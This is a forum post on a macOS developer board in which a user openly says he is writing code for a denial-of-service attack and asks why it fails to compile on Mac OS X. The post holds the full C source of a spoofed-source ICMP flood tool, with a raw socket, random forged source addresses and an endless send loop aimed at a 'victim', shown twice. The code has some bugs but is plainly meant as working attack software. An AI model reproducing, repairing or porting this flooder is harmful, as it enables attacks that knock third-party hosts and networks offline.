Forums
New posts
Articles
Product Reviews
Policies
FAQ
Log in
Register
What's new
Search
Search
Search titles only
By:
New posts
Menu
Log in
Register
Install the app
Install
Forums
macOS & iOS Developer Playground
macOS - Development and Darwin
Help to understand.
JavaScript is disabled. For a better experience, please enable JavaScript in your browser before proceeding.
You are using an out of date browser. It may not display this or other websites correctly.
You should upgrade or use an
alternative browser
.
Reply to thread
Message
<blockquote data-quote="StranikS" data-source="post: 1072286" data-attributes="member: 162893"><p>Hi guys. I write code for dos attack. When I do attempt to build the project, got 2 errors. <img src="data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7" class="smilie smilie--sprite smilie--sprite3" alt=":(" title="Frown :(" loading="lazy" data-shortname=":(" /> </p><p></p><p>Such as:</p><p>1. error: invalid application of 'sizeof' to incomplete type 'struct iphdr' </p><p>2. error: dereferencing pointer to incomplete type</p><p></p><p>2 in code </p><p>[CODE]/* Fill the IP - header */ and /* Get a new IP - the source address if the first command line argument was specified random */</p><p>[/CODE]</p><p></p><p>1 in code</p><p></p><p>[CODE]</p><p>char sendbuf[sizeof(struct iphdr) + sizeof(struct icmp) + 1400];</p><p>and</p><p>struct icmp *icmp_hdr = (struct icmp *) (sendbuf + sizeof(struct iphdr));</p><p>[/CODE]</p><p></p><p>At Linux build is successful! <img src="data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7" class="smilie smilie--sprite smilie--sprite1" alt=":)" title="Smile :)" loading="lazy" data-shortname=":)" /></p><p></p><p>Xcode Version 3.0</p><p>OS Mac OS X Leopard 10.5.8</p><p></p><p>This code</p><p>[CODE]</p><p>#include <netdb.h></p><p>#include <stdio.h></p><p>#include <stdlib.h></p><p>#include <string.h></p><p>#include <strings.h></p><p>#include <sys/types.h></p><p>#include <sys/socket.h></p><p>#include <netinet/in.h></p><p>#include <netinet/ip.h></p><p>#include <netinet/ip_icmp.h></p><p></p><p>/*-------------------------------------------*/</p><p>/* Convert host name to IP - adвress */</p><p>/*-------------------------------------------*/</p><p>unsigned long resolve(char *hostname){</p><p></p><p> struct hostent *hp;</p><p> if((hp = gethostbyname(hostname)) == NULL){</p><p> herror("gethostbyname() faild");</p><p> exit(-1);</p><p> }</p><p> return *(unsigned long *)hp -> h_addr_list[0];</p><p>}</p><p></p><p>/*-------------------------------------------*/</p><p>/* Checksumming */</p><p>/*-------------------------------------------*/</p><p>unsigned short in_cksum(unsigned short *addr, int len){</p><p></p><p> unsigned short result;</p><p> unsigned int sum = 0;</p><p> </p><p> /* Adds all double-byte words */</p><p> while(len > 1){</p><p> sum += *addr++;</p><p> len -= 2;</p><p> }</p><p> </p><p> /* If the left byte, we add it to the sum */</p><p> if(len == 1) sum += *(unsigned char*) addr;</p><p> sum = (sum >> 16) + (sum & 0xFFFF);</p><p> </p><p> /* Adds an Transfer */</p><p> sum += (sum >> 16);</p><p> /* again */</p><p> result = ~sum;</p><p> /* Invert the result */</p><p> return result;</p><p>}</p><p></p><p>/*-------------------------------------------*/</p><p>/* main() */</p><p>/*-------------------------------------------*/</p><p>int main (int argc, const char * argv[]) {</p><p> </p><p> int sd, rnd = 0;</p><p> const int on = 1;</p><p> unsigned long dstaddr, srcaddr;</p><p> struct sockaddr_in servaddr;</p><p> </p><p> char sendbuf[sizeof(struct iphdr) + sizeof(struct icmp) + 1400];</p><p> struct iphdr *ip_hdr = (struct iphdr *)sendbuf;</p><p> struct icmp *icmp_hdr = (struct icmp *) (sendbuf + sizeof(struct iphdr));</p><p> </p><p> if(argc != 3){</p><p> fprintf(stderr,"Usage: %s <source address | random> <destination address>\n", argv[0]);</p><p> exit(-1);</p><p> }</p><p> </p><p> /* Creating RAW - socket */</p><p> if((sd + socket(PF_INET, SOCK_RAW, IPPROTO_RAW)) < 0){</p><p> perror("socket() faild");</p><p> exit(-1);</p><p> }</p><p> </p><p> /* Since we own to fill in IP - header, set the option IP_HDRINCL */</p><p> if(setsockopt(sd, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on)) < 0){</p><p> perror("setsockopt() faild");</p><p> exit(-1);</p><p> }</p><p> </p><p> /* We provide the ability to send broadcast messages widely */</p><p> if(setsockopt(sd, SOL_SOCKET, SO_BROADCAST, (char *)&on, sizeof(on)) < 0){</p><p> perror("setsockopt() faild");</p><p> exit(-1);</p><p> }</p><p> </p><p> /* If the first command line argument specified random, then the IP - the source address is chosen randomly */</p><p> if(!strcmp(argv[1], "random")){</p><p> rnd = 1;</p><p> srcaddr = random();</p><p> }else srcaddr = resolve(argv[1]);</p><p> </p><p> /* IP - address of the victim */</p><p> dstaddr = resolve(argv[2]);</p><p> bzero(&servaddr, sizeof(servaddr));</p><p> servaddr.sin_family = AF_INET;</p><p> servaddr.sin_addr.s_addr = dstaddr;</p><p> </p><p> /* Fill the IP - header */</p><p> ip_hdr->ihl = 5;</p><p> ip_hdr->version = 4;</p><p> ip_hdr->tos = 0;</p><p> ip_hdr->tot_len = htons(sizeof(struct iphdr *) + sizeof(struct icmp) + 1400);</p><p> ip_hdr->id = 0;</p><p> ip_hdr->frag_off = 0;</p><p> ip_hdr->tt1 = 255;</p><p> ip_hdr->protocol = IPPROTO_ICMP;</p><p> ip_hdr->check = 0;</p><p> ip_hdr->check = in_cksum((unsigned short *)ip_hdr, sizeof(struct iphdr *));</p><p> ip_hdr->saddr = srcaddr;</p><p> ip_hdr->daddr = dstaddr;</p><p> </p><p> /* Fill ICMP - header */</p><p> icmp_hdr->icmp_type = ICMP_ECHO;</p><p> icmp_hdr->icmp_code = 0;</p><p> icmp_hdr->icmp_id = 1;</p><p> icmp_hdr->icmp_seq = 1;</p><p> icmp_hdr->icmp_cksum = 0;</p><p> icmp_hdr->icmp_cksum = in_cksum((unsigned short *)icmp_hdr, sizeof(struct icmp) + 1400);</p><p> </p><p> /* In the endless cycle of sending packets */</p><p> while(1){</p><p> if(sendto(sd, sendbuf, sizeof(sendbuf), 0, (struct sockaddr *)&servaddr, </p><p> sizeof(servaddr)) < 0){</p><p> perror("sento() faild");</p><p> exit(-1);</p><p> }</p><p> /* Get a new IP - the source address if the first command line argument was specified random */</p><p> if(rnd) ip_hdr->saddr = random();</p><p> }</p><p> </p><p> return 0;</p><p>}</p><p>[/CODE]</p></blockquote><p></p>
[QUOTE="StranikS, post: 1072286, member: 162893"] Hi guys. I write code for dos attack. When I do attempt to build the project, got 2 errors. :( Such as: 1. error: invalid application of 'sizeof' to incomplete type 'struct iphdr' 2. error: dereferencing pointer to incomplete type 2 in code [CODE]/* Fill the IP - header */ and /* Get a new IP - the source address if the first command line argument was specified random */ [/CODE] 1 in code [CODE] char sendbuf[sizeof(struct iphdr) + sizeof(struct icmp) + 1400]; and struct icmp *icmp_hdr = (struct icmp *) (sendbuf + sizeof(struct iphdr)); [/CODE] At Linux build is successful! :) Xcode Version 3.0 OS Mac OS X Leopard 10.5.8 This code [CODE] #include <netdb.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <strings.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <netinet/ip.h> #include <netinet/ip_icmp.h> /*-------------------------------------------*/ /* Convert host name to IP - adвress */ /*-------------------------------------------*/ unsigned long resolve(char *hostname){ struct hostent *hp; if((hp = gethostbyname(hostname)) == NULL){ herror("gethostbyname() faild"); exit(-1); } return *(unsigned long *)hp -> h_addr_list[0]; } /*-------------------------------------------*/ /* Checksumming */ /*-------------------------------------------*/ unsigned short in_cksum(unsigned short *addr, int len){ unsigned short result; unsigned int sum = 0; /* Adds all double-byte words */ while(len > 1){ sum += *addr++; len -= 2; } /* If the left byte, we add it to the sum */ if(len == 1) sum += *(unsigned char*) addr; sum = (sum >> 16) + (sum & 0xFFFF); /* Adds an Transfer */ sum += (sum >> 16); /* again */ result = ~sum; /* Invert the result */ return result; } /*-------------------------------------------*/ /* main() */ /*-------------------------------------------*/ int main (int argc, const char * argv[]) { int sd, rnd = 0; const int on = 1; unsigned long dstaddr, srcaddr; struct sockaddr_in servaddr; char sendbuf[sizeof(struct iphdr) + sizeof(struct icmp) + 1400]; struct iphdr *ip_hdr = (struct iphdr *)sendbuf; struct icmp *icmp_hdr = (struct icmp *) (sendbuf + sizeof(struct iphdr)); if(argc != 3){ fprintf(stderr,"Usage: %s <source address | random> <destination address>\n", argv[0]); exit(-1); } /* Creating RAW - socket */ if((sd + socket(PF_INET, SOCK_RAW, IPPROTO_RAW)) < 0){ perror("socket() faild"); exit(-1); } /* Since we own to fill in IP - header, set the option IP_HDRINCL */ if(setsockopt(sd, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on)) < 0){ perror("setsockopt() faild"); exit(-1); } /* We provide the ability to send broadcast messages widely */ if(setsockopt(sd, SOL_SOCKET, SO_BROADCAST, (char *)&on, sizeof(on)) < 0){ perror("setsockopt() faild"); exit(-1); } /* If the first command line argument specified random, then the IP - the source address is chosen randomly */ if(!strcmp(argv[1], "random")){ rnd = 1; srcaddr = random(); }else srcaddr = resolve(argv[1]); /* IP - address of the victim */ dstaddr = resolve(argv[2]); bzero(&servaddr, sizeof(servaddr)); servaddr.sin_family = AF_INET; servaddr.sin_addr.s_addr = dstaddr; /* Fill the IP - header */ ip_hdr->ihl = 5; ip_hdr->version = 4; ip_hdr->tos = 0; ip_hdr->tot_len = htons(sizeof(struct iphdr *) + sizeof(struct icmp) + 1400); ip_hdr->id = 0; ip_hdr->frag_off = 0; ip_hdr->tt1 = 255; ip_hdr->protocol = IPPROTO_ICMP; ip_hdr->check = 0; ip_hdr->check = in_cksum((unsigned short *)ip_hdr, sizeof(struct iphdr *)); ip_hdr->saddr = srcaddr; ip_hdr->daddr = dstaddr; /* Fill ICMP - header */ icmp_hdr->icmp_type = ICMP_ECHO; icmp_hdr->icmp_code = 0; icmp_hdr->icmp_id = 1; icmp_hdr->icmp_seq = 1; icmp_hdr->icmp_cksum = 0; icmp_hdr->icmp_cksum = in_cksum((unsigned short *)icmp_hdr, sizeof(struct icmp) + 1400); /* In the endless cycle of sending packets */ while(1){ if(sendto(sd, sendbuf, sizeof(sendbuf), 0, (struct sockaddr *)&servaddr, sizeof(servaddr)) < 0){ perror("sento() faild"); exit(-1); } /* Get a new IP - the source address if the first command line argument was specified random */ if(rnd) ip_hdr->saddr = random(); } return 0; } [/CODE] [/QUOTE]
Verification
Post reply
Forums
macOS & iOS Developer Playground
macOS - Development and Darwin
Help to understand.
Top